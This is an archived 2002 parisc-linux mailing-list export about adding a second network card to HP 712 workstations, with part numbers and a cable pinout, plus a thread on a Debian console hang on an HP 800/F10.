NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 11:46:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rubicon.hasler.ascom.ch (rubicon.hasler.ascom.ch [139.79.129.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A96F4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 11:46:55 -0600 (MDT)
Original-Received: from srvmailgate1.hasler.ascom.ch (srvmailgate1.hasler.ascom.ch [139.79.135.89])
	by rubicon.hasler.ascom.ch (8.11.4/8.11.4) with ESMTP id g7CHkqW07569
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 19:46:52 +0200 (MEST)
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
X-MIMETrack: Serialize by Router on SrvMailGate1/Ascom(Release 5.0.5 |September 22, 2000) at
 12.08.2002 19:46:51,
	Serialize complete at 12.08.2002 19:46:51
X-Filter-Version: 1.6 (rubicon)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15791

Hi all,

I would like to use my old 712's as a router for my lab setups. 
Unfortunately they
have only 1 NIC built in...;-)

1) Are there any add-on NICs for the 712 available (preferably for only 
little money) ?
2) More important, are they supported by the kernel ?

About the kernel: Great work, both my 712's and my 715's are working 
great. 
Thanks a lot to the ones who made that possible !!

Thomas



From - Thu Nov 08 21:24:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Additional Network Cards for 712
Date: Mon, 12 Aug 2002 19:12:47 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20020812191247.P27578@parcelfarce.linux.theplanet.co.uk>
References: <OFF5A919B5.02CBBDDB-ONC1256C13.0060CB62@hasler.ascom.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621613 12245 80.91.229.3 (22 Nov 2014 02:00:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Schmid <Thomas.Schmid@ascom.ch>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 12:12:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 60A1D4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 12:12:48 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17eJgN-0006Cn-00; Mon, 12 Aug 2002 19:12:47 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <OFF5A919B5.02CBBDDB-ONC1256C13.0060CB62@hasler.ascom.ch>; from Thomas.Schmid@ascom.ch on Mon, Aug 12, 2002 at 07:46:49PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15792

On Mon, Aug 12, 2002 at 07:46:49PM +0200, Thomas Schmid wrote:
> 1) Are there any add-on NICs for the 712 available (preferably for only 
> little money) ?

they're very specialised and quite rare.

> 2) More important, are they supported by the kernel ?

yes, they're the same chip as is on the motherboard, and the driver
handles multiple devices.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Harri Haataja <harri.haataja@cs.helsinki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Additional Network Cards for 712
Date: Mon, 12 Aug 2002 21:16:10 +0300
Lines: 18
Approved: news@gmane.org
Message-ID: <20020812211608.B37236@azrael.smilehouse.com>
References: <OFF5A919B5.02CBBDDB-ONC1256C13.0060CB62@hasler.ascom.ch> <20020812191247.P27578@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621613 12250 80.91.229.3 (22 Nov 2014 02:00:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 12:16:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep06-app.kolumbus.fi (fep06-0.kolumbus.fi [193.229.0.57])
	by dsl2.external.hp.com (Postfix) with ESMTP id 870954829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 12:16:23 -0600 (MDT)
Original-Received: from azrael.blades.cxm ([62.248.237.162])
          by fep06-app.kolumbus.fi with ESMTP
          id <20020812181617.HEER20539.fep06-app.kolumbus.fi@azrael.blades.cxm>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 12 Aug 2002 21:16:17 +0300
Original-Received: (from blades@localhost)
	by azrael.blades.cxm (SGI-8.9.3/8.9.3) id VAA37828
	for parisc-linux@lists.parisc-linux.org; Mon, 12 Aug 2002 21:16:10 +0300 (EEST)
X-Authentication-Warning: azrael.blades.cxm: blades set sender to harri.haataja@cs.helsinki.fi using -f
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020812191247.P27578@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Mon, Aug 12, 2002 at 07:12:47PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15793

On Mon, Aug 12, 2002 at 07:12:47PM +0100, Matthew Wilcox wrote:
> On Mon, Aug 12, 2002 at 07:46:49PM +0200, Thomas Schmid wrote:
> > 1) Are there any add-on NICs for the 712 available (preferably for
> > only little money) ?
> they're very specialised and quite rare.
> 
> > 2) More important, are they supported by the kernel ?
> yes, they're the same chip as is on the motherboard, and the driver
> handles multiple devices.

Did 712 have EISA? Anyway, 715 does. Are there any (E)ISA cards
supported by the linux kernel? Is there an HCL for cards?

-- 
Java users do not need serious computing power, Java does.
		-- Andrew J. Brehm, Scary Devil Monastery



From - Thu Nov 08 21:24:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Additional Network Cards for 712
Date: Mon, 12 Aug 2002 19:44:45 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20020812194445.Q27578@parcelfarce.linux.theplanet.co.uk>
References: <OFF5A919B5.02CBBDDB-ONC1256C13.0060CB62@hasler.ascom.ch> <20020812191247.P27578@parcelfarce.linux.theplanet.co.uk> <20020812211608.B37236@azrael.smilehouse.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621613 12254 80.91.229.3 (22 Nov 2014 02:00:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Harri Haataja <harri.haataja@cs.helsinki.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 12:44:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9509C4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 12:44:46 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17eKBJ-0007RI-00; Mon, 12 Aug 2002 19:44:45 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020812211608.B37236@azrael.smilehouse.com>; from harri.haataja@cs.helsinki.fi on Mon, Aug 12, 2002 at 09:16:10PM +0300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15794

On Mon, Aug 12, 2002 at 09:16:10PM +0300, Harri Haataja wrote:
> Did 712 have EISA? Anyway, 715 does. Are there any (E)ISA cards
> supported by the linux kernel? Is there an HCL for cards?

712 did not have EISA, it wouldn't've fitten in the form factor.
Some ISA/EISA network cards have drivers that can cope with a big-endian
machine.  I've used a 100VG card in a 715 myself.  There's no real HCL
for cards... someone want to write one?  ;-)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Additional Network Cards for 712
Date: Mon, 12 Aug 2002 11:56:33 -0700 (PDT)
Lines: 68
Approved: news@gmane.org
Message-ID: <20020812185633.86255.qmail@web12506.mail.yahoo.com>
References: <20020812211608.B37236@azrael.smilehouse.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621614 12259 80.91.229.3 (22 Nov 2014 02:00:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Harri Haataja <harri.haataja@cs.helsinki.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 12:56:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12506.mail.yahoo.com (web12506.mail.yahoo.com [216.136.173.198])
	by dsl2.external.hp.com (Postfix) with SMTP id 9A1954829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 12:56:34 -0600 (MDT)
Original-Received: from [156.153.255.126] by web12506.mail.yahoo.com via HTTP; Mon, 12 Aug 2002 11:56:33 PDT
In-Reply-To: <20020812211608.B37236@azrael.smilehouse.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15795

--- Harri Haataja <harri.haataja@cs.helsinki.fi> wrote:
> On Mon, Aug 12, 2002 at 07:12:47PM +0100, Matthew Wilcox wrote:
> > On Mon, Aug 12, 2002 at 07:46:49PM +0200, Thomas Schmid wrote:
> > > 1) Are there any add-on NICs for the 712 available (preferably
> for
> > > only little money) ?
> > they're very specialised and quite rare.
> > 
> > > 2) More important, are they supported by the kernel ?
> > yes, they're the same chip as is on the motherboard, and the driver
> > handles multiple devices.
> 
> Did 712 have EISA? Anyway, 715 does. Are there any (E)ISA cards
> supported by the linux kernel? Is there an HCL for cards?
> 
If you are interested in the part# here it is A2263-66536 HP list price
from our internal site is $410.00.

Quick search of the parisc/linux yeilded:

Pinout for RS232/AUI cable(A2263-62045) for 712 card (A2263-66536)
------------------------------------------------------------------
There is a card for the 712(HP part #A2263-66536) that provides 2nd AUI
lan
and 2nd DB9 RS232 port. The back of the card has a 26 pin connector and
the
15pin AUI and 9pin RS232 connectors are provided by a special Y cable
(A2263-62045) which are pretty hard to find. Here is the pinout of this
cable
in case you need to make one.

These diagrams are looking at the end of the connector not the back.
Make
sure to take that into account if building a cable. Pin numbering is
taken
from the numbers on the plastic in the cable. If a pin is not connected
it
is represented as an "o". The numbers outside the bottom connectors are
the
pin numbers that that pin is connected to on the top connector.


                 ---------------------------------
                 \     o  o  3  o  o  o  7  8  9 /
                  \  10 11 12 13  o  o 16 17 18 /
                   \  19 20 21 22  o 24 25 26  /
                     -------------------------

               12 13    20 19                 18  9  8  7  24
       ---------------------------           -----------------
  AUI   \ o  o  6  5  o  3  2  o /           \ 1  2  3  4  5 / RS232
         \  o 10 11 12  o 14 15 /             \  6  7  8  9 /
          ---------------------                ------------
              22 21  3    11 10                 26 25 17 16


Send questions or problems to Matt Taggart <taggart@fc.hp.com>

Hope this helps......by the way if you can find a V-Class test station
console that is a 712, it has the additional LAN/RS-232 card.

derek

__________________________________________________
Do You Yahoo!?
HotJobs - Search Thousands of New Jobs
http://www.hotjobs.com


From - Thu Nov 08 21:24:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation issue on 800/F10.
Date: Mon, 12 Aug 2002 12:02:24 -0700 (PDT)
Lines: 54
Approved: news@gmane.org
Message-ID: <20020812190224.49038.qmail@web12501.mail.yahoo.com>
References: <3D57E71C.3080402@non.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621614 12262 80.91.229.3 (22 Nov 2014 02:00:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:14 +0000 (UTC)
To: Eric Boniface <eric_boniface@non.hp.com>,
	Parisc mailing list parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 13:02:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12501.mail.yahoo.com (web12501.mail.yahoo.com [216.136.173.193])
	by dsl2.external.hp.com (Postfix) with SMTP id 05A87482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 13:02:25 -0600 (MDT)
Original-Received: from [156.153.255.126] by web12501.mail.yahoo.com via HTTP; Mon, 12 Aug 2002 12:02:24 PDT
In-Reply-To: <3D57E71C.3080402@non.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15796

Well, I have an F20 at home that I could try to load tonight and see if
I get the same issue.  I'm using an HP Terminal.  I'll try it.

derek

--- Eric Boniface <eric_boniface@non.hp.com> wrote:
> 
> 
> 
> Hi all,
> well I try to install the latest Debian on my (very ? ) old HP9000 
> 800/F10, but I have the following message :
> 
> "Branching to kernel entry point 0x00100000.  If this is the last
> message you see, you may need to switch your console.  This is
> a common symptom -- search the FAQ and mailing list at
> parisc-linux.org"
> 
> I am ok to switch whatever it wants, but I don't really see what I
> can 
> switch.
> For your information, I use a Wyse screen (a vt220 I think) plugged
> to 
> the console port on a SCSI/Console/LAN card.
> 
> Any idea ?
> 
> Thanks in advance !
> Rgds,
> Eric.
> 
> -- 
> Eric Boniface - Hewlett Packard / HPS-IT Infrastructure Team Grenoble
> 
> Tel.(+33) 4 76 14 30 17 / Telnet : 779-3017
> E-mail : eric_boniface@non.hp.com 
> --- Want to know more about Linux on HP PARISC ? Take a look at
> http://www.parisc-linux.org
> 
> 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


__________________________________________________
Do You Yahoo!?
HotJobs - Search Thousands of New Jobs
http://www.hotjobs.com


From - Thu Nov 08 21:24:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Holger Zessel <holger_zessel@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Additional Network Cards for 712 / thx to Helge
Date: Mon, 12 Aug 2002 21:25:16 +0200
Organization: Hewlett-Packard Supportzentrum
Lines: 35
Approved: news@gmane.org
Message-ID: <20020812212516.0eb88ee3.holger_zessel@hp.com>
References: <OFF5A919B5.02CBBDDB-ONC1256C13.0060CB62@hasler.ascom.ch>
	<20020812191247.P27578@parcelfarce.linux.theplanet.co.uk>
Reply-To: Holger Zessel <Holger_Zessel@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621614 12264 80.91.229.3 (22 Nov 2014 02:00:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:14 +0000 (UTC)
Cc: Holger Zessel <Holger_Zessel@hp.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 13:26:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 048154829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 13:26:20 -0600 (MDT)
Original-Received: from hpugrca.grc.hp.com (hpugrca.grc.hp.com [15.137.20.50])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 83CF91019
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 21:26:18 +0200 (METDST)
Original-Received: from grc.hp.com (grcad821.grc.hp.com [15.139.204.5]) by hpugrca.grc.hp.com with SMTP (8.8.6 (sendmail_886_v2)/8.7.3 SMKit7.01) id VAA10940; Mon, 12 Aug 2002 21:26:12 +0200 (METDST)
In-Reply-To: <20020812191247.P27578@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; i386-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15797

On Mon, 12 Aug 2002 19:12:47 +0100
Matthew Wilcox <willy@debian.org> wrote:

> On Mon, Aug 12, 2002 at 07:46:49PM +0200, Thomas Schmid wrote:
> > 1) Are there any add-on NICs for the 712 available (preferably for only 
> > little money) ?
> 
> they're very specialised and quite rare.

We had some here in the office in the past for support and with the upcoming V class test stations (which are 712) these cards must have
gotten a real
boost in the factory since the test station (basically the console)
has a separate lan connection with the V class.

One needs a special cable to separate the signals since the card has a second serial port as well. Even if you don't buy the cable the 
part no. might be useful when looking for infos: A2263-62045.
If the cards part no. is needed, let me know.

> 
> > 2) More important, are they supported by the kernel ?
> 
> yes, they're the same chip as is on the motherboard, and the driver
> handles multiple devices.

This is a good point in time to finally thank Helge Deller for fixing a bug in the driver. I was experimenting with my 712/80 at home with the
2nd lancard and could not get it to work. It showed up correctly in the
hw scan but the driver did not allocate a second interface eth1.
(tiny thread july last year: problem activating the optional lan card on 712/80)

He made a quick fix for that and indeed it worked. 


cheers,
Holgi


From - Thu Nov 08 21:24:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation issue on 800/F10.
Date: Mon, 12 Aug 2002 23:45:53 +0200
Organization: ESIEE
Lines: 16
Approved: news@gmane.org
Message-ID: <20020812234553.1ec5b0fb.varenet@esiee.fr>
References: <3D57E71C.3080402@non.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621615 12267 80.91.229.3 (22 Nov 2014 02:00:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Eric Boniface <eric_boniface@non.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 15:45:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d072.dhcp212-198-140.noos.fr [212.198.140.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id B646B4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 15:45:56 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.5) with SMTP id g7CLjrIA030949;
	Mon, 12 Aug 2002 23:45:55 +0200
In-Reply-To: <3D57E71C.3080402@non.hp.com>
X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15798

On Mon, 12 Aug 2002 18:49:32 +0200
Eric Boniface <eric_boniface@non.hp.com> wrote:
 
> I am ok to switch whatever it wants, but I don't really see what I can 
> switch.
For any information on PARISC-Linux boot sequence, you can get the latest (still under review) PARISC-Linux Boot HowTo here:
http://testpa.esiee.fr/.test/parisc-linux-boot.[html|pdf]
Look at the 'Consoles' section.

Any feedback about errors or precisions would be greatly appreciated.


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:24:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation issue on 800/F10.
Date: Mon, 12 Aug 2002 15:03:24 -0700 (PDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <20020812220324.36057.qmail@web12508.mail.yahoo.com>
References: <20020812234553.1ec5b0fb.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621615 12270 80.91.229.3 (22 Nov 2014 02:00:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Eric Boniface <eric_boniface@non.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 16:03:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12508.mail.yahoo.com (web12508.mail.yahoo.com [216.136.173.200])
	by dsl2.external.hp.com (Postfix) with SMTP id B66084829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 16:03:25 -0600 (MDT)
Original-Received: from [156.153.255.134] by web12508.mail.yahoo.com via HTTP; Mon, 12 Aug 2002 15:03:24 PDT
In-Reply-To: <20020812234553.1ec5b0fb.varenet@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
